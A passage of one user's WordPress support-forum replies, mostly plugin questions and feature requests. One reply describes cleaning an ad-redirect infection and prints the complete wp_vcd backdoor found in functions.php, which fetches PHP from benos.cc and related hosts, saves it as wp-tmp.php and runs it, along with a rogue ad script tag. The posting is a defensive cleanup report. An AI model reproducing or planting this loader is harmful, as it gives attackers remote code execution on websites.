Jaber Al Nahian

After I put the file from https://download.ip2location.com/lite/, it doesn’t support. It says not supported.

Here’s the wp_usermeta and wp_users section in your exported sql, incase you need to see it https://docs.google.com/document/d/1dQq7brtBQpF0IRISu3jYVuF7vU9OvTHywso04luNrMA/edit?usp=sharing

• This reply was modified 6 years, 7 months ago by Jaber Al Nahian.

Yeah, as it failed to show, I switch to other.

Anyway how do I close? no close option here! It’s not solved.

• This reply was modified 6 years, 8 months ago by Jaber Al Nahian.

Update:

The codes reappearing again and again after delete. What solved me is https://stackoverflow.com/questions/46219263/php-code-in-functions-php-of-all-wordpress-websites-on-my-shared-hosting

Same redirect and popup ad malware was infected on our site! We fixed it!

Check https://www.ads-software.com/support/topic/ad-malware-on-our-site-but-cant-remove/#post-9768983

Hi, I finally have cracked down the malware! According to sucuri.com malware scan report was:

javascript malware. Details: https://labs.sucuri.net/db/malware/rogueads.unwanted_ads?1
<script type="text/javascript" src="//go.oclasrv.com/apu.php?zoneid=1447995"></script>

Javascript included from a blacklisted domain. Details: https://sucuri.net/malware/entry/MW:BLK:2
Javascript: go.mobisla.com

After some research and using Google I found that this is a malware which use go.pub2srv[.]com, go.mobisla[.]com, go.oclaserver[.com] domains to redirect to their spammy ads.

Thanks to the site https://www.getastra.com/blog/911/how-to-remove-pub2srv-malware-from-your-wordpress-opencart-website/ which elaborately identified by the malware and have very clear suggestiong to remove this malware.

I found that both of my functions.php file of my Worldpress theme and child theme was modified. An unidentified plugin injected the following code at the beginning of functions.php file:

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'f6efce15ddb7aa5764e90dffbfd5cfdc')) {
    $div_code_name = "wp_vcd";
    switch ($_REQUEST['action']) {
        case 'change_domain';
            if (isset($_REQUEST['newdomain'])) {
                
                if (!empty($_REQUEST['newdomain'])) {
                    if ($file = @file_get_contents(__FILE__)) {
                        if (preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code5\.php/i', $file, $matcholddomain)) {
                            
                            $file = preg_replace('/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file);
                            @file_put_contents(__FILE__, $file);
                            print "true";
                        }
                    }
                }
            }
            break;
        default:
            print "ERROR_WP_ACTION WP_V_CD WP_CD";
    }
    
    die("");
}
$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if (!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
            fwrite($handle, "<?php\n" . $phpCode);
            fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        
        $wp_auth_key = 'd5b746bf6ce7930c9eb0496d5500a7ef';
        if (($tmpcontent = @file_get_contents("https://www.benos.cc/code5.php") OR $tmpcontent = @file_get_contents_tcurl("https://www.benos.cc/code5.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            
            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        elseif ($tmpcontent = @file_get_contents("https://www.benos.pw/code5.php") AND stripos($tmpcontent, $wp_auth_key) !== false) {
            
            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
            }
        } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
            
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
            
        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
            
        } elseif (($tmpcontent = @file_get_contents("https://www.benos.top/code5.php") OR $tmpcontent = @file_get_contents_tcurl("https://www.benos.top/code5.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
        }
    }
}
//$start_wp_theme_tmp
//wp_tmp
//$end_wp_theme_tmp
?>

After removing the code from both functions.php file, the malware is gone!

Services that helped me to identify the malware:
https://sitecheck.sucuri.net/
https://www.ads-software.com/plugins/sucuri-scanner/
https://sucuri.net/malware/entry/MW:BLK:2
https://labs.sucuri.net/db/malware/rogueads.unwanted_ads?1

Resources and thanks:
https://www.getastra.com/blog/911/how-to-remove-pub2srv-malware-from-your-wordpress-opencart-website/
https://toster.ru/q/482218
https://pastebin.com/bzcCHnT3
https://www.ads-software.com/support/topic/mwjsgen2rogueads-unwanted_ads-1-2/
https://www.upwork.com/job/prevent-SQL-injection-PHP-hardening-wordpress-stop-website-hacks_~013dcf70c6f4637ad3/
https://fixmywp.com/blog/detect-clean-wordpress-malware-redirect.php

You don’t have localization for your links, for amazon affiliations? If now, we might need to switch from it.
Suggestion: You can give us option to set different urls for specific geo location.

• This reply was modified 7 years, 1 month ago by Jaber Al Nahian.
• This reply was modified 7 years, 1 month ago by Jaber Al Nahian.

Sorry that, I didn’t notice the settings page.
Thanks anyway for the nice plugin. We will be using your plugin for lifetime and we planned it. Plz don’t make this plugin dead someday!
thanks!

• This reply was modified 7 years, 1 month ago by Jaber Al Nahian.

Thanks ??

@ampforwp , so do you mean I can’t use responsive ad in AMP page?

Yeah request. For example you can add the functionality of this plugin https://www.ads-software.com/plugins/stop-xmlrpc-attack/. I mean, while blocking XML-RPC, plz let Jetpack and Automattic connect to it.

HI, thanks! Found that the code is already there!

Yeah after clearing the cache, its working!

Feature request: Can you add option to show ‘click to load’ button on mobile devices, while scroll-load for desktop?

My site is under construction today. Please check the issue tomorrow.

Does this apply to all posts too?